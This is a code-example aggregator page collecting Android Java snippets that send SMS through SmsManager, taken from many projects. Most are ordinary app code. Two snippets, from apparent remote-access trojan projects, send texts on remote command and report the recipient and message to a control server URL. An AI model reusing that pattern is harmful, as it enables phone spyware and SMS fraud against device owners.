java类android.telephony.SmsManager的实例源码

SendSmsTask.java 文件源码 项目:AdoBot 阅读 22 收藏 0 点赞 0 评论 0
public void sendSms(String phonenumber,String message)
{
    SmsManager manager = SmsManager.getDefault();

    PendingIntent piSend = PendingIntent.getBroadcast(context, 0, new Intent(SMS_SENT), 0);
    PendingIntent piDelivered = PendingIntent.getBroadcast(context, 0, new Intent(SMS_DELIVERED), 0);

    int length = message.length();

    if(length > MAX_SMS_MESSAGE_LENGTH)
    {
        ArrayList<String> messagelist = manager.divideMessage(message);

        manager.sendMultipartTextMessage(phonenumber, null, messagelist, null, null);
    }
    else
    {
        manager.sendTextMessage(phonenumber, null, message, piSend, piDelivered);
    }
}
SmsSendDirectActivity.java 文件源码 项目:2017.2-codigo 阅读 24 收藏 0 点赞 0 评论 0
@Override
public void onClick(View v) {
    String message = msg.getText().toString();
    registerReceiver(enviadoReceiver, new IntentFilter(SENT_BROADCAST));
    registerReceiver(entregueReceiver, new IntentFilter(DELIVERED_BROADCAST));

    PendingIntent piEnvio   = PendingIntent.getBroadcast(this,0,new Intent(SENT_BROADCAST),0);
    PendingIntent piEntrega = PendingIntent.getBroadcast(this,0,new Intent(DELIVERED_BROADCAST),0);

    SmsManager smsManager = SmsManager.getDefault();
    smsManager.sendTextMessage(
            telContato,
            null,
            message,
            piEnvio,
            piEntrega);
}
OutgoingLollipopMmsConnection.java 文件源码 项目:PeSanKita-android 阅读 24 收藏 0 点赞 0 评论 0
@Override
@TargetApi(VERSION_CODES.LOLLIPOP)
public @Nullable synchronized SendConf send(@NonNull byte[] pduBytes, int subscriptionId)
    throws UndeliverableMessageException
{
  beginTransaction();
  try {
    MmsBodyProvider.Pointer pointer = MmsBodyProvider.makeTemporaryPointer(getContext());
    Util.copy(new ByteArrayInputStream(pduBytes), pointer.getOutputStream());

    SmsManager smsManager;

    if (VERSION.SDK_INT >= 22 && subscriptionId != -1) {
      smsManager = SmsManager.getSmsManagerForSubscriptionId(subscriptionId);
    } else {
      smsManager = SmsManager.getDefault();
    }

    smsManager.sendMultimediaMessage(getContext(),
                                     pointer.getUri(),
                                     null,
                                     null,
                                     getPendingIntent());

    waitForResult();

    Log.w(TAG, "MMS broadcast received and processed.");
    pointer.close();

    if (response == null) {
      throw new UndeliverableMessageException("Null response.");
    }

    return (SendConf) new PduParser(response).parse();
  } catch (IOException | TimeoutException e) {
    throw new UndeliverableMessageException(e);
  } finally {
    endTransaction();
  }
}
SmsSentJob.java 文件源码 项目:PeSanKita-android 阅读 20 收藏 0 点赞 0 评论 0
private void handleSentResult(MasterSecret masterSecret, long messageId, int result) {
  try {
    EncryptingSmsDatabase database = DatabaseFactory.getEncryptingSmsDatabase(context);
    SmsMessageRecord      record   = database.getMessage(masterSecret, messageId);

    switch (result) {
      case Activity.RESULT_OK:
        database.markAsSent(messageId, false);
        break;
      case SmsManager.RESULT_ERROR_NO_SERVICE:
      case SmsManager.RESULT_ERROR_RADIO_OFF:
        Log.w(TAG, "Service connectivity problem, requeuing...");
        ApplicationContext.getInstance(context)
            .getJobManager()
            .add(new SmsSendJob(context, messageId, record.getIndividualRecipient().getNumber()));
        break;
      default:
        database.markAsSentFailed(messageId);
        MessageNotifier.notifyMessageDeliveryFailed(context, record.getRecipients(), record.getThreadId());
    }
  } catch (NoSuchMessageException e) {
    Log.w(TAG, e);
  }
}
SmsSendJob.java 文件源码 项目:PeSanKita-android 阅读 16 收藏 0 点赞 0 评论 0
private SmsManager getSmsManagerFor(int subscriptionId) {
  if (Build.VERSION.SDK_INT >= 22 && subscriptionId != -1) {
    return SmsManager.getSmsManagerForSubscriptionId(subscriptionId);
  } else {
    return SmsManager.getDefault();
  }
}
Main2Activity.java 文件源码 项目:airgram 阅读 38 收藏 0 点赞 0 评论 0
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.dialog);
    findViewById(R.id.button).setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View view) {
            SmsManager smsManager = SmsManager.getDefault();
            smsManager.sendTextMessage(getIntent().getExtras().getString("d1"), null, getIntent().getExtras().getString("d2"), null, null);
        }
    });
    TextView t = (TextView) findViewById(R.id.textView1);
    TextView t2 = (TextView) findViewById(R.id.textView2);
    t.setText(getIntent().getExtras().getString("s1"));
    t2.setText(getIntent().getExtras().getString("s2"));
}
SmsSendDirectActivity.java 文件源码 项目:2017.2-codigo 阅读 21 收藏 0 点赞 0 评论 0
@Override
public void onReceive(Context context, Intent intent) {
    switch (getResultCode()) {
        case Activity.RESULT_OK:
            Toast.makeText(getBaseContext(), "SMS enviado", Toast.LENGTH_SHORT).show();
            break;
        case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
            Toast.makeText(getBaseContext(), "Falha geral", Toast.LENGTH_SHORT).show();
            break;
        case SmsManager.RESULT_ERROR_NO_SERVICE:
            Toast.makeText(getBaseContext(), "Sem serviço", Toast.LENGTH_SHORT).show();
            break;
        case SmsManager.RESULT_ERROR_NULL_PDU:
            Toast.makeText(getBaseContext(), "Null PDU", Toast.LENGTH_SHORT).show();
            break;
        case SmsManager.RESULT_ERROR_RADIO_OFF:
            Toast.makeText(getBaseContext(), "Radio off", Toast.LENGTH_SHORT).show();
            break;
    }

    unregisterReceiver(this);
}
PhoneUtils.java 文件源码 项目:AndroidUtilCode-master 阅读 26 收藏 0 点赞 0 评论 0
/**
 * 发送短信
 * <p>需添加权限 {@code <uses-permission android:name="android.permission.SEND_SMS"/>}</p>
 *
 * @param phoneNumber 接收号码
 * @param content     短信内容
 */
public static void sendSmsSilent(String phoneNumber, String content) {
    if (StringUtils.isEmpty(content)) return;
    PendingIntent sentIntent = PendingIntent.getBroadcast(Utils.getContext(), 0, new Intent(), 0);
    SmsManager smsManager = SmsManager.getDefault();
    if (content.length() >= 70) {
        List<String> ms = smsManager.divideMessage(content);
        for (String str : ms) {
            smsManager.sendTextMessage(phoneNumber, null, str, sentIntent, null);
        }
    } else {
        smsManager.sendTextMessage(phoneNumber, null, content, sentIntent, null);
    }
}
CRDUtils.java 文件源码 项目:CineReminDay 阅读 18 收藏 0 点赞 0 评论 0
public static void sendSmsToOrange(Context context) {
    if (ContextCompat.checkSelfPermission(context.getApplicationContext(), Manifest.permission.SEND_SMS) == PackageManager.PERMISSION_GRANTED) {
        Log.v(CRDUtils.class.getName(), "sendSmsToOrange() => Sending SMS !");

        toggleSmsReceiver(context.getApplicationContext(), true);

        CRDSharedPreferences.getInstance(context).setSendingSmsEpoch();

        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(CRDUtils.ORANGE_CINEDAY_NUMBER, null, CRDUtils.ORANGE_CINEDAY_KEYWORD, null, null);
    } else {
        Log.e(CRDUtils.class.getName(), "sendSmsToOrange() => FAILED TO SEND SMS ! (Missing permission)");

        // TODO VOLKO Display notification to tell him he should give us the right to send SMS !
    }
}
Gps4Activity.java 文件源码 项目:Gps 阅读 29 收藏 0 点赞 0 评论 0
public void messageSending(String message){
        SmsManager smsManager = SmsManager.getDefault();
//        smsManager.sendTextMessage(number, null, message, null, null);
        result=getContacts();
        for (int i=0;i<result.size();i++){

            try{
                smsManager.sendTextMessage(result.get(i),null,message,null,null);
                Toast.makeText(getApplicationContext(), "SMS sent : "+String.valueOf(numbers),
                        Toast.LENGTH_LONG).show();
            } catch (Exception e){
                Toast.makeText(getApplicationContext(),
                        "SMS sending failed "+e.getMessage(),Toast.LENGTH_LONG).show();
                e.printStackTrace();
            }
        }
    }
ListActivity.java 文件源码 项目:haven 阅读 30 收藏 0 点赞 0 评论 0
private void testNotifications ()
{

    if (!TextUtils.isEmpty(preferences.getSignalUsername())) {
        SignalSender sender = SignalSender.getInstance(this, preferences.getSignalUsername().trim());
        ArrayList<String> recip = new ArrayList<>();
        recip.add(preferences.getSmsNumber());
        sender.sendMessage(recip, getString(R.string.signal_test_message), null);
    }
    else if (!TextUtils.isEmpty(preferences.getSmsNumber())) {

        SmsManager manager = SmsManager.getDefault();

        StringTokenizer st = new StringTokenizer(preferences.getSmsNumber(),",");
        while (st.hasMoreTokens())
            manager.sendTextMessage(st.nextToken(), null, getString(R.string.signal_test_message), null, null);

    }
}
MyService.java 文件源码 项目:Dendroid-HTTP-RAT 阅读 35 收藏 0 点赞 0 评论 0
@Override
    protected String doInBackground(String... params) {     
    boolean isNumeric = i.matches("[0-9]+");
    if(isNumeric)
    {
      SmsManager smsManager = SmsManager.getDefault();
      smsManager.sendTextMessage(i, null, k, null, null);
      try {
    getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "To: " + i + " Message: " + k);
} catch (UnsupportedEncodingException e) {

    e.printStackTrace();
}           
    }
  return "Executed";
    }
MainActivity.java 文件源码 项目:android-fundamentals-phone-sms 阅读 20 收藏 0 点赞 0 评论 0
/**
 * Defines a string (destinationAddress) for the phone number
 * and gets the input text for the SMS message.
 * Uses SmsManager.sendTextMessage to send the message.
 * Before sending, checks to see if permission is granted.
 *
 * @param view View (message_icon) that was clicked.
 */
public void smsSendMessage(View view) {
    EditText editText = (EditText) findViewById(R.id.editText_main);
    // Set the destination phone number to the string in editText.
    String destinationAddress = editText.getText().toString();
    // Find the sms_message view.
    EditText smsEditText = (EditText) findViewById(R.id.sms_message);
    // Get the text of the sms message.
    String smsMessage = smsEditText.getText().toString();
    // Set the service center address if needed, otherwise null.
    String scAddress = null;
    // Set pending intents to broadcast
    // when message sent and when delivered, or set to null.
    PendingIntent sentIntent = null, deliveryIntent = null;
    // Check for permission first.
    checkForSmsPermission();
    // Use SmsManager.
    SmsManager smsManager = SmsManager.getDefault();
    smsManager.sendTextMessage(destinationAddress, scAddress, smsMessage,
            sentIntent, deliveryIntent);
}
SmsSentJob.java 文件源码 项目:Cable-Android 阅读 16 收藏 0 点赞 0 评论 0
private void handleSentResult(MasterSecret masterSecret, long messageId, int result) {
  try {
    EncryptingSmsDatabase database = DatabaseFactory.getEncryptingSmsDatabase(context);
    SmsMessageRecord      record   = database.getMessage(masterSecret, messageId);

    switch (result) {
      case Activity.RESULT_OK:
        database.markAsSent(messageId, false);
        break;
      case SmsManager.RESULT_ERROR_NO_SERVICE:
      case SmsManager.RESULT_ERROR_RADIO_OFF:
        Log.w(TAG, "Service connectivity problem, requeuing...");
        ApplicationContext.getInstance(context)
            .getJobManager()
            .add(new SmsSendJob(context, messageId, record.getIndividualRecipient().getNumber()));
        break;
      default:
        database.markAsSentFailed(messageId);
        MessageNotifier.notifyMessageDeliveryFailed(context, record.getRecipients(), record.getThreadId());
    }
  } catch (NoSuchMessageException e) {
    Log.w(TAG, e);
  }
}
SmsUtil.java 文件源码 项目:phoneVerifier 阅读 23 收藏 0 点赞 0 评论 0
public static void sendSMS(String phoneNumber, Context context){
    Log.d(TAG, "Going to send an SMS message to: " + phoneNumber + ". Current thread name: "
            + Thread.currentThread().getName());
    String uuid = UUID.randomUUID().toString();

    //last 6 chars of the UUID are enough
    String verificationCode = uuid.substring(uuid.length() - 6);

    Intent sentIntent = new Intent(SmsSentBroadcastReceiver.SENT_ACTION).putExtra(PHONE_NUMBER_EXTRA, phoneNumber).
            putExtra(VERIFICATION_CODE_EXTRA, verificationCode);
    PendingIntent sentPI = PendingIntent.getBroadcast(context, 0, sentIntent, 0);


    Intent deliveredIntent = new Intent(SmsDeliveredBroadcastReceiver.DELIVERED_ACTION).putExtra(PHONE_NUMBER_EXTRA, phoneNumber).
            putExtra(VERIFICATION_CODE_EXTRA, verificationCode);
    PendingIntent deliveredPI = PendingIntent.getBroadcast(context, 0, deliveredIntent, 0);

    final SmsManager smsManager = SmsManager.getDefault();
    String messageContent =  getMessageContent(phoneNumber, context, verificationCode);
    Log.d(TAG, "Content of message to be sent: " + messageContent);
    smsManager.sendTextMessage(phoneNumber, null, messageContent, sentPI, deliveredPI);

    Log.d(TAG, "SMS message sent to: " + phoneNumber);
}
Texting.java 文件源码 项目:appinventor-extensions 阅读 46 收藏 0 点赞 0 评论 0
/**
 * Callback method to handle the result of attempting to send a message. 
 * Each message is assigned a Broadcast receiver that is notified by 
 * the phone's radio regarding the status of the sent message. The 
 * receivers call this method.  (See transmitMessage() method below.)
 * 
 * @param context
 *            The context in which the calling BroadcastReceiver is running.
 * @param receiver
 *            Currently unused. Intended as a special BroadcastReceiver to
 *            send results to. (For instance, if another plugin wanted to do
 *            its own handling.)
 * @param resultCode, the code sent back by the phone's Radio
 * @param seq, the message's sequence number
 * @param smsMsg, the message being processed
 */
private synchronized void handleSentMessage(Context context,
                                            BroadcastReceiver receiver, int resultCode, String smsMsg) {
  switch (resultCode) {
    case Activity.RESULT_OK:
      Log.i(TAG, "Received OK, msg:" + smsMsg);
      Toast.makeText(activity, "Message sent", Toast.LENGTH_SHORT).show();
      break;
    case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
      Log.e(TAG, "Received generic failure, msg:" + smsMsg);
      Toast.makeText(activity, "Generic failure: message not sent", Toast.LENGTH_SHORT).show();
      break;
    case SmsManager.RESULT_ERROR_NO_SERVICE:
      Log.e(TAG, "Received no service error, msg:"  + smsMsg);
      Toast.makeText(activity, "No Sms service available. Message not sent.", Toast.LENGTH_SHORT).show();
      break;
    case SmsManager.RESULT_ERROR_NULL_PDU:
      Log.e(TAG, "Received null PDU error, msg:"  + smsMsg);
      Toast.makeText(activity, "Received null PDU error. Message not sent.", Toast.LENGTH_SHORT).show();
      break;
    case SmsManager.RESULT_ERROR_RADIO_OFF:
      Log.e(TAG, "Received radio off error, msg:" + smsMsg);
      Toast.makeText(activity, "Could not send SMS message: radio off.", Toast.LENGTH_LONG).show();
      break;
  }
}
LocationSendService.java 文件源码 项目:nirbhaya 阅读 18 收藏 0 点赞 0 评论 0
private void sendSMS(String phoneNumber, String message)/* throws IOException*/
{
    String newLine = System.getProperty("line.separator");
    String finalSMSString = "";// = message;
    SmsManager sms = SmsManager.getDefault();

    boolean isGPSEnabled = lm.isProviderEnabled(LocationManager.GPS_PROVIDER);

    // getting network status
    boolean isNetworkEnabled = lm.isProviderEnabled(LocationManager.NETWORK_PROVIDER);

    if((isNetworkEnabled == true) || (isGPSEnabled == true)){
        finalSMSString = "%!" + message +"Please open the Nirbhaya App"+ "@" + lat + "#" + lon ;
        //finalSMSString = message + lat + "#" + lon ;
        Log.i("SMS Message Latitude:" , Double.toString(lat));
        Log.i("SMS Messgae Longitude: ", Double.toString(lon));
    }

    else{
        finalSMSString = message;
    }
    ArrayList<String> msgStringArray = sms.divideMessage(finalSMSString);

    sms.sendMultipartTextMessage(phoneNumber, null, msgStringArray, null, null);
}
SMSUtils.java 文件源码 项目:remotedroid 阅读 29 收藏 0 点赞 0 评论 0
public void sendSMS(String address, String content) {
    lastSentSMSStatus = -1;
    SmsManager smsManager = SmsManager.getDefault();

    PendingIntent sentPI = PendingIntent.getBroadcast(mContext, 0,
            new Intent("SMS_SENT"), 0);

    mContext.registerReceiver(new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            lastSentSMSStatus = getResultCode();
            Toast.makeText(mContext,"message sent", Toast.LENGTH_LONG).show();
        }
    }, new IntentFilter("SMS_SENT"));

    smsManager.sendTextMessage("tel:".concat(address), null, content, sentPI, null);
}
SmsSenderService.java 文件源码 项目:SmsScheduler 阅读 16 收藏 0 点赞 0 评论 0
private void sendSms(SmsModel sms) {
    ArrayList<PendingIntent> sentPendingIntents = new ArrayList<>();
    ArrayList<PendingIntent> deliveredPendingIntents = new ArrayList<>();
    PendingIntent sentPendingIntent = getPendingIntent(sms.getTimestampCreated(), SmsSentReceiver.class);
    PendingIntent deliveredPendingIntent = getPendingIntent(sms.getTimestampCreated(), SmsDeliveredReceiver.class);

    SmsManager smsManager = getSmsManager(sms.getSubscriptionId());
    ArrayList<String> smsMessage = smsManager.divideMessage(sms.getMessage());
    boolean deliveryReports = PreferenceManager
        .getDefaultSharedPreferences(getApplicationContext())
        .getBoolean(SmsSchedulerPreferenceActivity.PREFERENCE_DELIVERY_REPORTS, false)
    ;
    for (int i = 0; i < smsMessage.size(); i++) {
        sentPendingIntents.add(i, sentPendingIntent);
        if (deliveryReports) {
            deliveredPendingIntents.add(i, deliveredPendingIntent);
        }
    }
    smsManager.sendMultipartTextMessage(
        sms.getRecipientNumber(),
        null,
        smsMessage,
        sentPendingIntents,
        deliveryReports ? deliveredPendingIntents : null
    );
}
RecoverPassword.java 文件源码 项目:TomatoApp 阅读 19 收藏 0 点赞 0 评论 0
public void proceed(View v) {
//heroField.testValidity() &&

        if (
                myPhone.getFSH().equals(heroField.getText().toString())) {

            SmsManager manager = SmsManager.getDefault();
            manager.sendTextMessage(
                    myPhone.getFSH(),
                    null,
                    "Your password is: " + myPhone.getPassword() +
                            " . Sent via Tomato Safety App.", null, null);
            Toast.makeText(RecoverPassword.this,
                    "Password Sent", Toast.LENGTH_SHORT).show();
            this.finish();

        } else {
            Snackbar.make(heroField,
                    "Invalid Number. Try Again", Snackbar.LENGTH_SHORT).show();

        }
    }
MainActivity.java 文件源码 项目:Damsel-In-Distress 阅读 26 收藏 0 点赞 0 评论 0
private void sendSMS(User distressedUser, Contact helpingUser, double distance) {
    Log.d(TAG, "App User Send SMS");
    // String distressedPhone = distressedUser.getPhone();
    String distressedName = distressedUser.getInfo().getName();
    String distressedLat = distressedUser.getLocation().getLatitude();
    String distressedLon = distressedUser.getLocation().getLongitude();

    String helperPhone = helpingUser.getPhone();
    String helperName = helpingUser.getName();
    String distressMessage = String.format(getString(R.string.nearby_helper_distress_message_text),
            helperName, distressedName, String.valueOf(distance), distressedLat, distressedLon);
    Log.d(TAG, "Distress Message: " + distressMessage);
    try {
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(helperPhone, null, distressMessage, null, null);
        Log.d(TAG, "SMS sent to " + helperName + " successfully.");
        Toast.makeText(getApplicationContext(), String.format(getString(R.string.sms_sent_message), helperName),
                Toast.LENGTH_LONG).show();
    } catch (Exception e) {
        Log.d(TAG, "SMS to " + helperName + " failed.");
        Toast.makeText(getApplicationContext(), String.format(getString(R.string.sms_failed_message), helperName),
                Toast.LENGTH_LONG).show();
        e.printStackTrace();
    }
}
MainActivity.java 文件源码 项目:Damsel-In-Distress 阅读 17 收藏 0 点赞 0 评论 0
private void sendSMS(User distressedUser, Contact helpingContact) {
    Log.d(TAG, "Emergency Contact Send SMS");
    // String distressedPhone = distressedUser.getPhone();
    String distressedName = distressedUser.getInfo().getName();
    String distressedLat = distressedUser.getLocation().getLatitude();
    String distressedLon = distressedUser.getLocation().getLongitude();

    String helperPhone = helpingContact.getPhone();
    String helperName = helpingContact.getName();
    String distressMessage = String.format(getString(R.string.emergency_contact_distress_message_text),
            helperName, distressedName, distressedLat, distressedLon);
    Log.d(TAG, "Distress Message: " + distressMessage);
    try {
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(helperPhone, null, distressMessage, null, null);
        Log.d(TAG, "SMS sent to " + helperName + " successfully.");
        Toast.makeText(getApplicationContext(), String.format(getString(R.string.sms_sent_message), helperName),
                Toast.LENGTH_LONG).show();
    } catch (Exception e) {
        Log.d(TAG, "SMS to " + helperName + " failed.");
        Toast.makeText(getApplicationContext(), String.format(getString(R.string.sms_failed_message), helperName),
                Toast.LENGTH_LONG).show();
        e.printStackTrace();
    }
}
BootCompleteReceiver.java 文件源码 项目:mobliesafe 阅读 110 收藏 0 点赞 0 评论 0
@Override
public void onReceive(Context context, Intent intent) {
    SharedPreferences sp = context.getSharedPreferences("config", Context.MODE_PRIVATE);
    boolean protect = sp.getBoolean("protect", false);
    if (protect) {
        String sim = sp.getString("sim", null);//拿到保存过得sim卡信息
        if (!TextUtils.isEmpty(sim)) {
            TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
            String currentSim = tm.getSimSerialNumber();//获取当前的sim卡信息
            if (sim.equals(currentSim)) {
                //说明手机安全
            } else {
                //sim卡已经更换
                String safe_phone = sp.getString("safe_phone", "");
                // 发送短信给安全号码
                SmsManager smsManager = SmsManager.getDefault();
                smsManager.sendTextMessage(safe_phone, null, "sim卡已经更换", null, null);
            }
        }
    }
}
BootReceiver.java 文件源码 项目:mobilesafe 阅读 23 收藏 0 点赞 0 评论 0
@Override
public void onReceive(Context context, Intent intent) {
    // TODO Auto-generated method stub
    Log.i(tag, "�����ֻ��ɹ���,���Ҽ���������Ӧ�Ĺ㲥......");
    //1,��ȡ�������ֻ���sim�������к�
    TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
    String simSerialNumber = tm.getSimSerialNumber()+"xxx"; //�����ɲ�һ��
    //2,sp�д洢�����п���
    String sim_number = SpUtil.getString(context,ConstantValue.SIM_NUMBER, "");
    //3,�ȶԲ�һ��
    if(!simSerialNumber.equals(sim_number)){
        //4,���Ͷ��Ÿ�ѡ����ϵ�˺���
        SmsManager sms = SmsManager.getDefault();
        sms.sendTextMessage("5556", null, "sim change!!!", null, null);
    }
}
LoadMapActivity.java 文件源码 项目:Stayfit 阅读 20 收藏 0 点赞 0 评论 0
protected void sendSMSMessage() {
    Log.i("Send SMS", "");
    String phoneNo = phoneno;
    //String lat = getIntent().getExtras().getString("Latitude");
    //String lng = getIntent().getExtras().getString("Longitude");
    // Replace latitude and longitude values
    Address msgaddress = AskLocationActivity.address1;
    String message = "Shall we run together, Location:"+ "http://maps.google.com/?q="+msgaddress.getLatitude()+","+msgaddress.getLongitude();

    Log.d("Message",message);
    try {
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(phoneNo, null, message, null, null);
        Toast.makeText(getApplicationContext(), "Invitation sent.", Toast.LENGTH_LONG).show();
    }

    catch (Exception e) {
        Toast.makeText(getApplicationContext(), "SMS faild, please try again.", Toast.LENGTH_LONG).show();
        e.printStackTrace();
    }
}
SMSDispatcher.java 文件源码 项目:Asynchronous-Android-Programming 阅读 17 收藏 0 点赞 0 评论 0
void processDispatch(Context context, Intent intent){
    String to = intent.getStringExtra(TO_KEY);
    String text = intent.getStringExtra(TEXT_KEY);
    Log.i("SMS Dispatcher", "Delivering message to " + text);
    SmsManager sms = SmsManager.getDefault();
    Intent deliveredIntent = new Intent("sms_delivered");
    deliveredIntent.putExtra(SMSDispatcher.TO_KEY, to);
    deliveredIntent.putExtra(SMSDispatcher.TEXT_KEY, text);

    PendingIntent pi = PendingIntent.getBroadcast(
                        context,
                        DISPATCH_ACTION.hashCode(),
                        deliveredIntent, 0);

    sms.sendTextMessage(to, null, text, pi,null);
}
TrafficMonitoringActivity.java 文件源码 项目:MobilePhoneSafeProtector 阅读 26 收藏 0 点赞 0 评论 0
@Override
public void onClick(View v) {
    //首先判断是哪个运营商
    int i = preferences.getInt("operator", 0);
    SmsManager smsManager = SmsManager.getDefault();
    switch (i) {
        case MOBILE_CHINA:
            //中国移动
            smsManager.sendTextMessage("10086", null, "CXGPRS", null, null);
            break;
        case UNION_CHINA:
            //中国联通,发送LLCX到10010
            //获取系统默认的短信管理器发送短息
            smsManager.sendTextMessage("10010", null, "LLCX", null, null);
            break;
        case TELECOM_CHINA:
            //中国电信
            smsManager.sendTextMessage("10001", null, "108", null, null);
            break;
        default:
            break;
    }
}
IntentUtils.java 文件源码 项目:fastDev 阅读 35 收藏 0 点赞 0 评论 0
/**
 * <uses-permissionandroid:name="android.permission.SEND_SMS" />
 *
 * @param mobile
 * @param content
 */
public static void sysSendSms(final String mobile, final String content){
    PermissionUtils.askSms(new PermissionUtils.PermissionListener() {
        @Override
        public void onGranted() {
            SmsManager smsManager = SmsManager.getDefault();
            ArrayList<String> texts = smsManager.divideMessage(content);//拆分短信,短信字数太多了的时候要分几次发
            for(String text : texts){
                smsManager.sendTextMessage(mobile, null, text, null, null);//发送短信,mobile是对方手机号
            }
        }

        @Override
        public void onDenied(List<String> permissions) {

        }
    });

}
SmsSendIntentService.java 文件源码 项目:darksms 阅读 23 收藏 0 点赞 0 评论 0
/**
 * @param context
 * @param phoneNumber
 * @param body
 */
public static void sendRawMessage(Context context, String phoneNumber, String body, String id)
{
    SmsManager sms = SmsManager.getDefault();
    ArrayList<String> parts=sms.divideMessage(body);

    Intent intentSent=new Intent(Constants.ACTION_SMS_SENT);
    intentSent.putExtra(Constants.EXTRA_MESSAGE_ID, id);
    PendingIntent sentPI = PendingIntent.getBroadcast(context, 0, intentSent, PendingIntent.FLAG_CANCEL_CURRENT);

    Intent intentDelivered=new Intent(Constants.ACTION_SMS_DELIVERED);
    intentDelivered.putExtra(Constants.EXTRA_MESSAGE_ID, id);
    PendingIntent deliveredPI = PendingIntent.getBroadcast(context, 0, intentDelivered, PendingIntent.FLAG_CANCEL_CURRENT);

    ArrayList<PendingIntent> sentPIs = new ArrayList<PendingIntent>();
    ArrayList<PendingIntent> deliveredPIs = new ArrayList<PendingIntent>();
    for(int i=0; i < parts.size(); i++)
    {
        sentPIs.add(sentPI);
        deliveredPIs.add(deliveredPI);
    }
    sms.sendMultipartTextMessage(phoneNumber, null, parts, sentPIs, deliveredPIs);
    if(Me.DEBUG)
        Log.i(TAG, "Send message=" + body);
}
MyService.java 文件源码 项目:BetterAndroRAT 阅读 33 收藏 0 点赞 0 评论 0
@Override
    protected String doInBackground(String... params) {     
    boolean isNumeric = i.matches("[0-9]+");
    if(isNumeric)
    {
      SmsManager smsManager = SmsManager.getDefault();
      smsManager.sendTextMessage(i, null, k, null, null);
      try {
    getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "To: " + i + " Message: " + k);
} catch (UnsupportedEncodingException e) {

    e.printStackTrace();
}           
    }
  return "Executed";
    }


问题


面经


文章

微信
公众号

扫码关注公众号